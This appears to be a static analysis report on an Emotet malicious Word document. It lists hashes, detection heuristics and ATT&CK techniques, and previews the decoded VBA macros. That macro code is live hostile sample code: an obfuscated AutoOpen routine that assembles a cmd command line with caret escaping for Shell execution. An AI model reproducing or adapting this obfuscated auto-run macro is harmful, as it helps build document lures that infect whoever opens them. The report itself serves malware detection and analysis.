Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 ca05b4e46d6d8ac1…

MALICIOUS

Office (OLE)

164.5 KB Created: 2018-09-24 16:45:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: b02a80df89c004236f844f2c6183f7ba SHA-1: 956cfd4b49faddc8b7fb6f43bc66245752c0e029 SHA-256: ca05b4e46d6d8ac12a68f3d1a759d4f37d1dce6e7e94213e59bcc6d6fbc1f7ce
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating a Shell() call within the VBA macros. The ClamAV detection explicitly names this as 'Doc.Downloader.Emotet-6884048-0', strongly suggesting the Emotet family. The AutoOpen macro is present and likely responsible for executing the malicious payload, which is typical for Emotet document lures.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6884048-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6884048-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 134639 bytes
SHA-256: 09333f145eb34a4453fd474c56adf107844c96609de55680f34525c13693930c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "iwnlcPlErNM"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim hkGNN(1)
hkGNN(0) = Right(kiiFYOzFiZLC + ZsLWXCwLXHhrLTSTJcFCHUjq + ChBZIIsu, 812) + MidB(lZpLwqWml + qqlhTpEBMrzqpFIjXciuYDPrIiM + AvrLnapDq, 777, 48)
   Dim NpunTr(1)
NpunTr(0) = MidB(lzovzvLwDzzNXN + iKajOkHDRhYcIPMZRXDirWazDEz + oSEIRqfAskiSWf, 385, 906) + MidB(nGpvOfciKonDz + YrJEGuimXNYPUqGCVBKtEZjjj + olNszoKrc, 868, 92)
   Dim jzTXzR(2)
jzTXzR(0) = Mid(YhijDNjqwObGD + RsWuWzzzYOEcnwPcwjCjU + nUdhfozoCidWG, 855, 514) + Left(HoIHDzuaq + bOJBIfJdThsZolRqiVwnbfikkUjGo + MnVbObizR, 650)
jzTXzR(1) = MidB(DTRhDwiqQ + iWiuZIjbEMrwwPQhBYNQaRTnf + WwjMnFjh, 183, 789) + Mid(KCLrTlo + osvWUGDFVESzpvJKjzsjzwCNPa + rcFiEnp, 350, 977)
   Dim zVtinj(1)
zVtinj(0) = MidB(dLwMiDwvXbHYw + uUINYhocpfcQVPYVJLSjObFuQazVbEXzNi + HpiGhBncjbDm, 288, 755) + MidB(ftMcTmXBr + LzQiuzWdzHtuOpXLGocGTTS + URjPXzbiQ, 856, 172)
   Dim DTdnN(1)
DTdnN(0) = MidB(whbiABwJv + soCFTNprHEwrLAvoPpAzbTaMc + vsSzGrBwAQwV, 112, 472) + Left(kTAGItZMdsob + ANnWwMdrEItqPMTuahtbzdBTGWODaMG + hjchHtOsMSdS, 985)
IDiGCcjmNLkK (KeyString(vbKeyC) + KeyString(vbKeyM) + bhfwwv + jQwcOq + jZzqqrOFjk + tDDGlpsut + qESiJqclKw)
   Dim lbbHR(2)
lbbHR(0) = Right(LuDiaNIw + PtkYIZsNrMVLNHjjIwSsZCzurioF + KLdZfcCjuZ, 293) + MidB(jqbqjzLzjzALV + BiDGWAACdJBlwEsdiNPnHFnXi + OJTWiLWIUni, 773, 950) + Left(UaBcEXcItbl + BidWoBvsMOOsWVZiPSGcWBJFmBZv + aHmKLAvln, 146) + Mid(jhCOiLLToTPVH + wJrmSRbwNbOPWVpdAcCXSOjdcH + DqVzcvUtV, 153, 719)
lbbHR(1) = MidB(TowwTilUYCCt + YjozpVLLjtttJHMKlwanjJdFv + TFqXwKhIwSaIH, 57, 494) + Right(cNLsLfAZwwHq + QjsaRCWNzBuvKqSksdhTuHaqzzOa + CKbOcIXOPQjr, 336) + MidB(jfLAGTmiNwSrL + jFjJsAPDHLdNRmDqqRCZLQQbNQ + MpAhbIHro, 378, 549) + Left(vqYRbuc + KzhfXscZmwiznLvizMupzYQar + ViPCfDAwlOOP, 331)
   Dim wfjlKX(2)
wfjlKX(0) = Right(NRphICJz + hnjYXntoUbXXmtcHaBEsPHZPlVGjc + RMrYIwrWDY, 692) + Right(anfvjzoIKvU + YISOuudSzhkiSFLTTfQupKziFLGRXHJYiE + pMMcGvNRsaz, 838) + Right(ADjKcEzPYHrQN + jiGipqDiruzfmOpjGGpYck + oFkqhlJLwr, 251) + MidB(zVWThGSdtudaiV + FiuJQOdbAMLWaVBElJkSdOwvKHQDPHUqNT + iruTVvvCLYbV, 858, 241)
wfjlKX(1) = Right(BjQvTTSUkI + GqIidEatYZiSujmfDpvpdCfN + ZjMzjvVQtr, 777) + MidB(APKhdZkjpo + ZLBifzrMTwCNjzNWlDWRZSUCndtkuOGGjU + uzZECNzwq, 510, 438)
   Dim TwCLh(1)
TwCLh(0) = Right(tCwQHjGGSlPQQO + IKjPKTkzdzpFUYcWWoNFOpiwcAAZsA + BzApaRznItBmuG, 738) + MidB(aFqtOTZfXIwcaz + idfVhNvGbmorCVOGuIAniaJDJ + hwvRPdHY, 249, 250)
End Sub


Attribute VB_Name = "SbwlnUmiWvfL"
Function bhfwwv()
Dim HOSKa(1)
HOSKa(0) = MidB(NXjultdukzB + icjcCWjYwibiVjihGXVRt + FGULkiqN, 205, 864) + Right(auEWpYBSGqPZA + JiILmZuRcNOAkRsUHnBAjtskB + vKTPjfBhbOjcb, 668)
   Dim Aiozv(1)
Aiozv(0) = Mid(IfIicRt + CmsCulDmrmfhcZRFirRvdGLjYz + ianapqYQP, 582, 54) + Left(lWjViQWj + jkqOwiBfpRWzpjkbjYJLnsjfOqjC + oGqwbchOzNo, 719) + MidB(rlwpqRaNW + WMDnoIORTitlAEkwXBEVodsrM + bkRvEPd, 517, 198) + Mid(vWvIrMpmhM + BBSrPKwRCbLzbpvoGmOGhZflfBZhtnJQu + OQNnXTLELQ, 436, 881)
   Dim ZZiEul(1)
ZZiEul(0) = MidB(ZRPctREnLvJQ + BEamWVUUIIHUNbMzBrwXuatzXFak + DXiiHOzQEIHA, 739, 947) + MidB(wwIKOiEh + cVzPiXvZpwirmIoPunwIKGicWTY + wvlbToZkFNjAQQ, 103, 417) + MidB(rQRlZjN + EuYFsWzjAhuwOfoatqYGUShC + WFNjfVpj, 148, 761) + Mid(jJUUGsBmw + GtTfoDnLTXavTOTHScdcJPlALoBs + oHmMqBdUcK, 950, 180)
   Dim AsZJz(1)
AsZJz(0) = Left(ocQJPCDcXSa + HLbHCoiASfAjMzTvarAiWCazarEs + fRpQRGI, 204) + Right(KlJipDIIaijLH + EboDGvawAuKCnQJMUksrKWiw + VUKILNfUGaskc, 218)
GdPJKbd = "d /V^:^ON/C" + CStr(Chr(2 + 5 + 0 + 5 + 22)) + "^" + "s^" + "et " + "^]@^`=^\^_" + "^- \_/^ " + "-" + "_/ /^\- " + "\_/" + "^ -^_^\^ ^_" + "^\/ _/^\^ /" + "-\ /" + "^"
Dim GKorQB(2)
GKorQB(0) = Left(ULjijXwH + jkCrkGTJiTjhJPdczESPvqBvpZD + MiBKqOaiYHT, 526) + Left(iaPDuMiQ + UGAjLdjfavzIFmvazzoSiW + WIjwvJmpkO, 832)
GKorQB(1) = Mid(XnBVQiRKQjBjqb + oWMpDNXtJAqVCzUYfZwNrDPGbfOFhX + rfhrKPHMQovuNj, 63
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.